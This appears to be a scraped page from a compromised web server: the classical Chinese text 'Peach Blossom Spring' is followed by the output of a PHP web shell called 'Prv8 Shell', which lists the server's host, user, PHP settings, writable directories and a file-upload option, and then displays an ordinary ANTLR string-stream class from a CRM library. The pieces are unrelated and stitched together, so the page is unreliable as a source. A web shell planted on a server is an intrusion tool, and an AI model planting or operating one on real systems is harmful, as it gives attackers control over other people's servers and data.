晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/www/crm/libraries/antlr/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/akaindir/www/crm/libraries/antlr/ANTLRStringStream.php
<?php
	CharStreamConst::$EOF = -1;

	class ANTLRStringStream implements CharStream {

		/** Copy data in string to a local char array */
		public function __construct($input) {
			$this->p=0;
			$this->line = 1;
			$this->charPositionInLine = 0;
			$this->markDepth = 0;
			$this->markers = null;
			$this->lastMarker=0;
			$this->name=null;
			
			$this->data = strToIntArray($input);
			$this->n = strlen($input);
		}

		/** Reset the stream so that it's in the same state it was
		 *  when the object was created *except* the data array is not
		 *  touched.
		 */
		public function reset() {
			$this->p = 0;
			$this->line = 1;
			$this->charPositionInLine = 0;
			$this->markDepth = 0;
		}

	    public function consume() {
	        if ( $this->p < $this->n ) {
				$this->charPositionInLine++;
				if ( $this->data[$this->p]==ord("\n") ) {
					$this->line++;
					$this->charPositionInLine=0;
				}
	            $this->p++;
	        }
	    }

	    public function LA($i) {
			if ( $i==0 ) {
				return 0; // undefined
			}
			if ( $i<0 ) {
				$i++; // e.g., translate LA(-1) to use offset i=0; then data[p+0-1]
				if ( ($this->p+$i-1) < 0 ) {
					return CharStreamConst::$EOF; // invalid; no char before first char
				}
			}

			if ( ($this->p+$i-1) >= $this->n ) {
	            //System.out.println("char LA("+i+")=EOF; p="+p);
	            return CharStreamConst::$EOF;
	        }
	        //System.out.println("char LA("+i+")="+(char)data[p+i-1]+"; p="+p);
			//System.out.println("LA("+i+"); p="+p+" n="+n+" data.length="+data.length);
			return $this->data[$this->p+$i-1];
	    }

		public function LT($i) {
			return $this->LA($i);
		}

		/** Return the current input symbol index 0..n where n indicates the
	     *  last symbol has been read.  The index is the index of char to
		 *  be returned from LA(1).
	     */
	    public function index() {
	        return $this->p;
	    }

		public function size() {
			return $this->n;
		}

		public function mark() {
	        if ( $this->markers == null) {
	            $this->markers = array();
	            $this->markers[] = null; // depth 0 means no backtracking, leave blank
	        }
	        $this->markDepth++;
			$state = null;
			if ($this->markDepth>=sizeof($this->markers)) {
				$state = new CharStreamState();
				$this->markers[] = $state;
			}
			else {
				$state = $this->markers[$this->markDepth];
			}
			$state->p = $this->p;
			$state->line = $this->line;
			$state->charPositionInLine = $this->charPositionInLine;
			$this->lastMarker = $this->markDepth;
			return $this->markDepth;
	    }

	    public function rewind($m=null) {
			if($m===null){
				$this->rewind((int)$this->lastMarker);
			}else{
				$state = $this->markers[$m];
				// restore stream state
				$this->seek($state->p);
				$this->line = $state->line;
				$this->charPositionInLine = $state->charPositionInLine;
				$this->release($m);
			}
		}

		public function release($marker) {
			// unwind any other markers made after m and release m
			$this->markDepth = $marker;
			// release this marker
			$this->markDepth--;
		}

		/** consume() ahead until p==index; can't just set p=index as we must
		 *  update line and charPositionInLine.
		 */
		public function seek($index) {
			if ( $index<=$this->p ) {
				$this->p = $index; // just jump; don't update stream state (line, ...)
				return;
			}
			// seek forward, consume until p hits index
			while ( $this->p<$index ) {
				$this->consume();
			}
		}

		public function substring($start, $stop) {
			return implode(array_map('chr', array_slice($this->data, $start, $stop-$start+1)));
		}

		public function getLine() {
			return $this->line;
		}

		public function getCharPositionInLine() {
			return $this->charPositionInLine;
		}

		public function setLine($line) {
			$this->line = $line;
		}

		public function setCharPositionInLine($pos) {
			$this->charPositionInLine = $pos;
		}

		public function getSourceName() {
			return $this->name;
		}
	}

?>

haha - 2025